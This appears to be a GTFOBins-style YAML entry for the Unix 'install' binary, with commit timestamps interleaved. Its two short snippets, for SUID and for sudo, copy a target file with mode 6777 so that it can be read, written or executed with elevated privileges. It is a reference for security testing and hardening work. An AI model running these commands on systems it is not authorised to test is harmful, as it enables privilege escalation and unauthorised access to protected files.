2020-11-13 11:59:14 +01:00
---
2020-12-20 21:23:28 +01:00
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a copy of the file.
2020-11-13 11:59:14 +01:00
functions:
suid:
- code: |
2020-12-20 21:23:28 +01:00
LFILE=file_to_change
2020-11-13 11:59:14 +01:00
TF=$(mktemp)
2020-12-20 21:23:28 +01:00
./install -m 6777 $LFILE $TF
2020-11-13 11:59:14 +01:00
sudo:
- code: |
2020-12-20 21:23:28 +01:00
LFILE=file_to_change
2020-11-13 11:59:14 +01:00
TF=$(mktemp)
2020-12-20 21:23:28 +01:00
sudo install -m 6777 $LFILE $TF
2020-11-13 11:59:14 +01:00
---